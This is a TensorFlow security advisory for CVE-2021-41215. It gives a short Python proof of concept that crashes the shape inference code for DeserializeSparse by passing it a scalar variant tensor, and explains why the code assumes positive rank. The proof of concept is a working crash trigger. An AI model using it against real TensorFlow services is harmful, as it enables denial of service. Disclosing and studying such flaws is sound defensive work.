CVE-2021-41215: Null pointer exception in `DeserializeSparse`

The shape inference code for DeserializeSparse can trigger a null pointer dereference:

import tensorflow as tf

dataset = tf.data.Dataset.range(3)

@tf.function
def test():
y = tf.raw_ops.DeserializeSparse(
serialized_sparse=tf.data.experimental.to_variant(dataset),
dtype=tf.int32)

test()

This is because the shape inference function assumes that the serialize_sparse tensor is a tensor with positive rank (and having 3 as the last dimension). However, in the example above, the argument is a scalar (i.e., rank 0).